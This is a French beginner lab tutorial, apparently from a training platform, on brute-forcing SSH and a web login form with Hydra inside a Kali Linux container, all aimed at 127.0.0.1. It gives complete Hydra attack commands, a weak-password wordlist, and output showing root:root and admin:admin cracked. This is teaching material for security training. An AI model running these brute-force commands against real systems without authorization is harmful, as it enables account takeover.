Attaques de mots de passe avec Hydra sur Kali

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce lab, vous allez apprendre les bases du hacking éthique en utilisant Kali Linux pour explorer les techniques d'attaque de mots de passe avec Hydra, un outil puissant pour les attaques par force brute (brute-force). L'objectif est de comprendre le fonctionnement de telles attaques et pourquoi l'utilisation de mots de passe complexes ainsi que des configurations système sécurisées sont essentielles. Vous simulerez des attaques sur des identifiants SSH et des formulaires de connexion web au sein d'un environnement contrôlé sur une VM LabEx, garantissant un espace de pratique sûr et légal. Grâce à un guidage pas à pas, vous créerez des listes de mots, exécuterez des attaques par force brute et enregistrerez les résultats pour analyse. Toutes les tâches sont effectuées dans un conteneur Kali Linux pré-configuré, rendant ce lab accessible même aux parfaits débutants.

Configuration de l'environnement et installation d'Hydra

Dans cette première étape, vous allez préparer votre environnement de travail à l'intérieur d'un conteneur Kali Linux et installer Hydra, l'outil que nous utiliserons pour nos attaques de mots de passe. Lorsque vous ouvrez le terminal, vous êtes automatiquement placé dans le shell du conteneur Kali Linux, aucune configuration manuelle n'est donc nécessaire.

Tout d'abord, confirmez que vous êtes bien dans l'environnement Kali Linux en vérifiant les détails du système d'exploitation.

cat /etc/os-release

Vous devriez voir une sortie confirmant que vous utilisez Kali Linux.

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2025.3"
VERSION="2025.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"

Ensuite, mettez à jour la liste des paquets pour vous assurer de pouvoir récupérer les dernières versions des logiciels.

apt update

Maintenant, installez Hydra. Hydra est un outil d'attaque par force brute polyvalent qui prend en charge de nombreux protocoles. L'option -y permet de confirmer automatiquement l'installation.

apt install -y hydra

Une fois l'installation terminée, vérifiez qu'Hydra est prêt en affichant son menu d'aide.

hydra -h

La sortie affichera la version d'Hydra et la syntaxe d'utilisation, confirmant qu'il est correctement installé.

Hydra v9.x (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] ...
...

Enfin, démarrez le service SSH qui a été pré-configuré lors de la mise en place de l'environnement. Cela nous fournira une cible pour notre simulation d'attaque par force brute.

service ssh start

Vous pouvez vérifier que le service SSH fonctionne en consultant son statut.

service ssh status

Vous devriez voir un message indiquant que le service SSH est actif et en cours d'exécution.

sshd is running.

Vous avez maintenant configuré avec succès votre environnement, installé Hydra et démarré le service SSH pour notre simulation d'attaque.

Création d'une liste de mots pour les attaques par force brute

Une liste de mots (wordlist) est un fichier texte simple contenant des mots de passe potentiels qu'un outil comme Hydra utilisera pour tenter d'accéder à une cible. Dans cette étape, vous allez créer une petite liste de mots personnalisée pour nos attaques simulées.

Vous utiliserez l'éditeur de texte nano pour créer un fichier nommé passwords.txt.

Tout d'abord, installez l'éditeur de texte nano.

apt install -y nano

Maintenant, créez le fichier de la liste de mots.

nano passwords.txt

Cette commande ouvre un nouveau fichier dans l'éditeur nano. Tapez les mots de passe courants suivants dans l'éditeur, en plaçant chaque mot de passe sur une nouvelle ligne.

admin
password
123456
test
root

Pour enregistrer le fichier, appuyez sur Ctrl+O, puis sur Entrée pour confirmer le nom du fichier. Pour quitter nano, appuyez sur Ctrl+X.

Maintenant, vérifiez que le fichier a bien été créé en listant le contenu du répertoire actuel.

ls

Vous devriez voir passwords.txt dans la liste, confirmant que votre wordlist est prête à être utilisée pour les étapes suivantes.

passwords.txt

Exécution d'une attaque par force brute réussie sur SSH

Vous allez maintenant utiliser Hydra et votre liste de mots pour effectuer une attaque par force brute contre le service SSH (Secure Shell) s'exécutant sur votre système local. SSH est un protocole courant pour l'administration à distance sécurisée. Lors de la configuration de l'environnement, nous avons configuré un serveur SSH avec un mot de passe faible présent dans notre liste, ce qui en fait une démonstration réaliste du fonctionnement de ces attaques.

Exécutez la commande suivante pour lancer l'attaque par force brute.

hydra -l root -P passwords.txt ssh://127.0.0.1

Analysons cette commande :

  • -l root : Cette option spécifie un nom d'utilisateur unique à tester, ici root.
  • -P passwords.txt : Cette option indique à Hydra d'utiliser le fichier passwords.txt comme source de mots de passe.
  • ssh://127.0.0.1 : Spécifie le protocole cible (SSH) et l'hôte cible (127.0.0.1).

Comme nous avons configuré le serveur SSH avec le mot de passe root pour l'utilisateur root (lequel figure dans notre liste), Hydra trouvera les identifiants avec succès.

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1   login: root   password: root
1 of 1 target successfully completed, 1 valid password found

Félicitations ! L'attaque a réussi. Hydra a découvert que l'utilisateur root avec le mot de passe root permet un accès valide au service SSH. Cela démontre comment des mots de passe faibles peuvent être facilement découverts par des outils de force brute.

Exécution d'une attaque par force brute réussie sur un formulaire de connexion Web

Ensuite, vous allez effectuer une attaque sur un formulaire de connexion web. C'est une autre cible très courante pour les attaques par force brute. Lors de la configuration de l'environnement, nous avons mis en place un serveur web Apache simple avec une page de connexion vulnérable qui accepte les identifiants admin:admin.

Tout d'abord, assurons-nous que le serveur web est en cours d'exécution en le démarrant :

service apache2 start

Lancez maintenant la commande suivante pour effectuer l'attaque sur la connexion web.

hydra -l admin -P passwords.txt http-post-form://127.0.0.1/login.php:'user=^USER^&pass=^PASS^:F=Incorrect'

Examinons les composants de cette commande :

  • -l admin : Spécifie l'utilisateur admin.
  • -P passwords.txt : Utilise votre liste de mots de passe.
  • http-post-form://127.0.0.1/login.php : Spécifie le protocole cible et la page de connexion réelle que nous avons créée.
  • 'user=^USER^&pass=^PASS^:F=Incorrect' : C'est le cœur du module d'attaque web.
    • user=^USER^&pass=^PASS^ : Définit les champs du formulaire. Hydra remplace ^USER^ et ^PASS^ par les identifiants qu'il teste.
    • :F=Incorrect : Indique à Hydra qu'une tentative de connexion a échoué si le mot "Incorrect" est trouvé dans la réponse du serveur.

Puisque notre application web est configurée pour accepter admin:admin (qui est dans notre liste), Hydra trouvera les identifiants avec succès.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-02 01:33:09
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/login.php:user=^USER^&pass=^PASS^:F=Incorrect
[80][http-post-form] host: 127.0.0.1   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found

Excellent ! L'attaque web a également réussi. Cela démontre comment Hydra peut être adapté pour cibler différents services, y compris des applications web avec des formulaires de connexion vulnérables.

Journalisation des résultats d'une attaque par force brute

Dans cette dernière étape, vous apprendrez à enregistrer la sortie d'une attaque Hydra réussie dans un fichier journal (log). La journalisation est une pratique cruciale pour documenter les découvertes lors d'un test d'intrusion ou d'un audit de sécurité.

Vous allez relancer l'attaque SSH de l'étape 3, mais cette fois-ci, vous sauvegarderez les résultats dans un fichier.

hydra -l root -P passwords.txt ssh://127.0.0.1 -o attack_log.txt

La nouveauté dans cette commande est :

  • -o attack_log.txt : Cette option demande à Hydra de sauvegarder sa sortie dans le fichier spécifié, attack_log.txt.

La commande s'exécutera, affichera les résultats de l'attaque réussie à l'écran et créera également un fichier journal détaillé.

Pour voir le contenu du fichier journal, utilisez la commande cat.

cat attack_log.txt

Le fichier journal contiendra un résumé de l'attaque réussie, incluant les identifiants découverts.

## Hydra v9.x run at 2025-09-02 01:33:36 on 127.0.0.1 ssh (hydra -l root -P passwords.txt -o attack_log.txt ssh://127.0.0.1)
[22][ssh] host: 127.0.0.1   login: root   password: root

Excellent ! Le fichier journal montre clairement qu'Hydra a réussi à découvrir les identifiants root:root pour le service SSH. Ce type de journalisation détaillée est essentiel pour :

  1. La documentation : Garder une trace des tests d'intrusion réussis.
  2. Le reporting : Fournir des preuves aux clients ou à la direction.
  3. L'analyse : Examiner les schémas d'attaque et les taux de réussite.
  4. La conformité : Répondre aux exigences des audits de sécurité.

Vous avez maintenant appris à sauvegarder les résultats d'une attaque Hydra, démontrant à la fois la découverte réussie d'identifiants et les bonnes pratiques de documentation en hacking éthique.

Résumé

Dans ce lab, vous avez appris avec succès les bases du hacking éthique en réalisant de réelles attaques de mots de passe avec Hydra dans un conteneur Kali Linux. Vous avez commencé par installer Hydra et configurer des services vulnérables (serveurs SSH et web), puis vous avez créé une liste de mots personnalisée contenant des mots de passe faibles. Grâce à cette expérience pratique, vous avez exécuté avec succès des attaques par force brute contre des identifiants SSH et des formulaires de connexion web, constatant ainsi la rapidité avec laquelle des mots de passe faibles peuvent être compromis. Enfin, vous avez appris à journaliser les résultats des attaques pour une documentation et une analyse appropriées.

Points clés à retenir de ce lab :

  1. Les mots de passe faibles sont facilement compromis - root:root et admin:admin ont été découverts instantanément.
  2. Il existe de multiples vecteurs d'attaque - Les services SSH et les applications web sont des cibles privilégiées.
  3. Une documentation rigoureuse est cruciale - L'enregistrement des résultats est indispensable pour les tests d'intrusion.
  4. Sensibilisation à la défense - Comprendre les attaques aide à mettre en place de meilleures mesures de sécurité.

Ces compétences pratiques constituent une base solide pour comprendre les mécanismes réels des attaques par force brute et démontrent l'importance critique des mots de passe robustes, des politiques de verrouillage de compte et des configurations système sécurisées pour se défendre contre de telles menaces.